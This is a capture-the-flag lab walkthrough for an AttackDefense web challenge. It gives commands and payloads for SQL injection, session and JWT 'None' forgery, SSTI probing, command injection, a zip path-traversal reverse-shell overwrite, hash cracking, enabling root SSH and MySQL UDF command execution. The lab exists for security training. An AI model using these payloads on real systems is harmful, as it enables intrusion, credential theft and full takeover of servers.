Professional Documents
Culture Documents
URL https://attackdefense.com/challengedetails?cid=2114
Important Note: This document illustrates all the important steps required to complete this lab.
This is by no means a comprehensive step-by-step solution for this exercise. This is only
provided as a reference to various commands needed to complete this exercise and for your
further research on this topic. Also, note that the IP addresses and domain names might be
different in your lab.
When the lab is launched, an Online Image Converter WebApp opens up in Firefox.
Launch BurpSuite:
Select Web Application Analysis > burpsuite from the application menu.
Once BurpSuite opens up, configure FoxyProxy to use Burp Suite profile:
Step 2: Login to the webapp using SQLi.
Use the following credentials to perform SQLi and login to the webapp:
Command: echo
eyJwcmVtaXVtIjogZmFsc2UsICJlbWFpbCI6ICInIG9yICcxJz0nMSctLUB0ZXN0LmNvbSIsICJGT
EFHMSI6ICJhOWY0Zjc1MGMyMjZjZmM4OWQwYjBlYzcxNTE1OTllMiIsICJ1dWlkIjogIjQ1YWY
3MWQ2LTkzZTMtNDMwNi1iNzRlLTVmOGM4MjgxMGQxOCJ9 | base64 -d
FLAG1: a9f4f750c226cfc89d0b0ec7151599e2
Notice that the premium attribute in the encoded session ID is set to false. The session ID also
contains a UUID to track the users. But the email ID is set to SQLi payload. So the webapp
might not accept this session ID (even though it somehow got generated). But that would be
known once some operation is performed using the webapp.
Note: Turn off BurpSuite’s intercept mode for the next few requests.
Generate a random image for uploading to the webapp:
The webapp also provides signup functionality. So using a new user, the image art feature can
be tested with the modified session ID.
Click on the Sign Up button and create a new user with the following credentials:
Email: test@test.com
Password: test
Command: echo
eyJwcmVtaXVtIjogZmFsc2UsICJlbWFpbCI6ICJ0ZXN0QHRlc3QuY29tIiwgIkZMQUcxIjogImE5Zj
RmNzUwYzIyNmNmYzg5ZDBiMGVjNzE1MTU5OWUyIiwgInV1aWQiOiAiNjdmMjczM2QtNTY1
MC00MzEyLThlZDYtYjcxNzRhZDA4YzMyIn0= | base64 -d
Set the premium attribute to true:
Step 7: Generate an image art and send the modified session ID.
Modify the Session ID in this intercepted request and send the modified request:
Check the response of the above request in the HTTP History tab:
Try sending the same request using curl to avoid this issue.
Step 8: Sending the image art generation request using curl.
Command: curl -vvv -X POST http://192.167.64.3:8080/convert -H "Content-Type:
multipart/form-data" -F "file=@/root/test.png" -F "txt=test" -F "operation=imageart" -F
"SESSID=eyJwcmVtaXVtIjogdHJ1ZSwgImVtYWlsIjogInRlc3RAdGVzdC5jb20iLCAiRkxBRzEiOi
AiYTlmNGY3NTBjMjI2Y2ZjODlkMGIwZWM3MTUxNTk5ZTIiLCAidXVpZCI6ICI2N2YyNzMzZC0
1NjUwLTQzMTItOGVkNi1iNzE3NGFkMDhjMzIifQ=="
FLAG2: 38f5daf2ff2cb4dbdbb29e356469a625
Notice the Server header in the response. It indicates Werkzeug (WSGI web application library)
is being used by the backend API!
Step 9: Check the backend API and try to visit arbitrary endpoints.
URL: http://192.167.64.3:8080/test
Step 10: Checking if the backend API is vulnerable to Server-Side Template Injection
vulnerability (SSTI).
URL: http://192.167.64.3:8080/%7B%7B7*7%7D%7D
URL: http://192.167.64.3:8080/%7B%7Bconfig.items()%7D%7D
Notice that the response contains a flag.
FLAG3: 3accb204130296307dcbfe63b9c5890a
Commands:
rm test.png
scrot -d5 -u test.png
The above command would take the screenshot of the current window in focus, after a 5 second
delay.
After issuing the command, click on the browser window so that it’s screenshot gets saved.
Step 13: Trying to perform command injection by crafting an image name containing the
command injection payload.
Command: ip a
Since a files name cannot contain forward slashes ('/'), encode the payload using base64 utility:
Commands:
pwd
find / -name '*FLAG*' 2>/dev/null
cat /home/robert/FLAG4
FLAG4: d378fc844b8700bb558fe50bce948abc
Command: ps aux
This script cleans up all the files older than 1 minute from the uploads directory of the backend
API.
Step 17: Checking the permissions of the cleanup.sh script.
There is a bulk upload feature in the webapp. If the zip files are extracted in an insecure
manner, then that could be used to modify the cleanup.sh script (iff the files were unzipped as
root) and gain a root shell on the target machine!
Step 18: Creating the cleanup script that contains a reverse shell payload.
Cleanup Script:
#!/bin/bash
Step 19: Creating a zip archive containing a file with a relative path.
Zip the contents of the test image and the cleanup script (using the relative path):
Due to this relative path being present in the zip file, if the unzip function takes into
consideration the full file path, then it would result in overwriting of the cleanup.sh script in the
root directory (if the unzip operation is performed as root user).
Step 20: Upload the zip archive created in the previous step.
Before uploading the zip archive, make sure to start a netcat listener to receive incoming
connections from the reverse shell payload:
Step 22: Checking the API files for some interesting information.
Commands:
ls
ls pythonAPI
Notice that there is a database named users.db
Command: sqlite3
Since sqlite3 utility is not present on the backend server, the database could be read using
python’s sqlite3 module.
Before that, it is better to obtain a stable shell session. For that, modify the password of root and
start SSH service.
Step 25: Modifying the password of the root user and starting SSH service.
Commands:
passwd
/etc/init.d/ssh status
/etc/init.d/ssh start
Step 26: Allowing password login for the root user over SSH.
But SSH login for root won’t work since by default, password login for the root user is disabled.
Append the following line to the SSH config to allow root login with password:
Use the following commands to modify the SSH config to allow root login with password and
restart the SSH service:
Commands:
echo "PermitRootLogin yes" >> /etc/ssh/sshd_config
/etc/ssh.d/ssh status
/etc/ssh.d/ssh start
Commands:
cd pythonAPI
python
import sqlite3
conn = sqlite3.connect("users.db")
sql = "Select sql from sqlite_master"
conn.execute(sql).fetchall()
As indicated by the response, there are 2 tables: users and flag in this database.
Commands:
sql = "Select email, password from users where admin=1"
conn.execute(sql).fetchall()
The password seems to be hashed. This can further be confirmed by checking the password of
the other users in the database:
Commands:
sql = "Select email, password from users"
conn.execute(sql).fetchall()
Notice that it looks like all passwords are like this. So all these must definitely be hashed!
Step 30: Checking the DBAPI.py file (as it looks like this is related to database in some way):
Commands:
ls
head DBAPI.py
Notice that password is hashed using MD5 algorithm!
Step 31: Cracking the admin’s password using John The Ripper.
Note: Switch to the attacker machine for cracking the password hash as John The Ripper is not
available on the target machine.
Run the following commands to save the hash and crack it using John The Ripper:
Commands:
echo e803adae1f5acc155699ad43e9b77629 > hash.txt
john --format="Raw-MD5" hash.txt
The password for the admin user (robin@dummymail.com) is xbox360
FLAG5: xbox360
Note: Switch back to the target machine for the next set of commands.
Bring the Python prompt to foreground and issue the SQL query to retrieve the contents of flag
table:
Commands:
fg
sql = "Select * from flag"
conn.execute(sql).fetchall()
FLAG6: 7347864cf49afcad450fb9f4ceb7d0a5
Step 33: Checking the IP addresses of all the interfaces present on the target machine.
Command: ip a
Notice that there is 1 more network attached to it (besides the network in which the attacker
machine is).
Step 34: Running an nmap scan against a few hosts of the other network.
Command: nmap 192.138.76.3-5
Notice that 1 host (192.138.76.3) is up and has port 3306 (MySQL) and 8080 open!
Step 36: Looking for any Health Monitoring API related information in the API files.
There is a logic to send POST requests to the /status endpoint by the API.
Username: bot
Password: longbotpassword
1. The signing algorithm is RS256, as indicated by the alg claim in the token header.
2. The admin claim is set to false, as indicated in the payload.
3. The payload also contains the UUID associated with the user and the issued at (iat) and
expiry (exp) claims indicating when the token was issued and when it will expire, respectively.
Step 39: Creating a forged token using None algorithm with admin claim set to true.
Try to forge a None algorithm JWT token and check if it gets accepted by the Health Monitoring
API:
Strip off the equal to sign ("=") from the encoding result:
Base64URL Encoding: eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ
Strip off the equal to sign ("=") from the encoding result:
Base64URL Encoding:
eyJhZG1pbiI6IHRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC0
0ZTA4LTk0YmEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30
Concatenate the Base64URL encoded header and payload, separated by a period (".").
Note: Don’t forget to append the last period (".") to the token.
Step 40: Sending the forged token to the Health Monitoring API.
Issue a status request and submit the forged JWT token in it:
Command: curl -vvv
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=192.138.76.2'
FLAG7: d66155c9ecd5d5959151bed8c8360bb2
Step 41: Sending the SQLi payload with the forged token to the Health Monitoring API.
SQLi Payload: ' union select 1,2'#
Command: curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2%27
%23'
The response indicates that there was some error fetching the results. So it must be the case
that the number of columns on the left and right side of the union must be different. This must
have caused the SQL query to fail!
Command: curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2,3%2
7%23'
This time the SQLi payload worked! The last value sent in the payload was returned, that is, 3.
Step 42: Sending the SQLi payload to retrieve the authentication string of the root user.
Send the following SQLi payload to retrieve the host associated with the root user:
SQLi Payload: ' union select 1,2,host from mysql.user where user='root'#
Command: curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2,host+f
rom+mysql.user+where+user=%27root%27%23'
The authentication string of the root user corresponding to this host is of interest as it allows
anyone (in case SQL server is exposed to the outside network, like in this case) to login to the
SQL server.
Checking the count of the different host corresponding to the root user by sending the folloing
SQLi payload to the API:
SQLi Payload: ' union select 1,2,count(host) from mysql.user where user='root'#
Command: curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2,count(
host)+from+mysql.user+where+user=%27root%27%23'
The response indicates that there are 2 host entries. But for all practical purposes, the first
retrieved host (that is, '%') is the one that is of prime interest.
Send the following SQLi payload to retrieve the authentication string of the root user where host
is '%':
SQLi Payload: ' union select 1,2,authentication_string from mysql.user where user='root' AND
host='%'#
Encoded SQLi Payload:
%27+union+select+1,2,authentication_string+from+mysql.user+where+user=%27root%27+AND
+host=%27%%27%23
Command: curl
'192.138.76.3:8080/status?token=eyJhbGciOiAiTm9uZSIsInR5cCI6ICJKV1QifQ.eyJhZG1pbiI6I
HRydWUsImlhdCI6IDE2MDYyMzE5MzMsInV1aWQiOiAiMmQ0NzkyZjctYjdiMC00ZTA4LTk0Y
mEtNmVhYjQ0YWIxNWIzIiwiZXhwIjogMTYwNzcwMDczM30.&ip=%27+union+select+1,2,auth
entication_string+from+mysql.user+where+user=%27root%27+AND+host=%27%%27%23'
Notice that the authentication string for the root user has been retrieved in the response!
Step 43: Cracking the authentication string for MySQL’s root user using John The Ripper.
Copy the retrieved authentication string to attacker machine and crack it using John The Ripper:
Commands:
echo '*8415D734A930E5AA40D3BB6FD07309834CF40EEB' > hash1.txt
john hash1.txt
MySQL root user’s password: catalina
FLAG8: catalina
Step 44: Connect to the MySQL server using the retrieved credentials.
Use the following commands to find out the list of databases and retrieve the flag:
Commands:
show databases;
use secret_flag_7ef554cdfe3;
show tables;
select * from flags;
FLAG9: 1f2b4ed7bf0b6fb49d2cec5e0695f873
Step 46: Checking for any issues with the MySQL server to exfiltrate data from on the target
machine.
Notice that the secure_file_priv variable is set to an empty string! This means that MySQL
service can be used to write data to any of the directories on the machine on which it is running
(if the user with which this service is running has the permissions to do so).
Retrieving all the details related to the root user and displaying them in row format:
Base64 encode the MySQL UDF exploit shared library present in the metasploit framework:
Note: Run the following command on the attacker machine as metasploit is not present on the
compromised machines.
Command: base64
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so | tr -d '\n' > udf.b64
Now, move back to the compromised machine (connected over SSH session to the MySQL
server) and use the following command to write the UDF payload to the SQL server (in its plugin
directory):
Now create a sys_eval function that would be used to execute the system commands:
Note: sys_eval function is already a part of the shared library uploaded to the MySQL server
host.
Use the following commands to determine the file containing the flag and reading its contents:
Commands:
select sys_eval("find / -name '*FLAG*' 2>/dev/null");
select sys_eval("cat /usr/share/FLAG10");
FLAG10: c4dd675a885f9cdd1d309b0830a01292
References: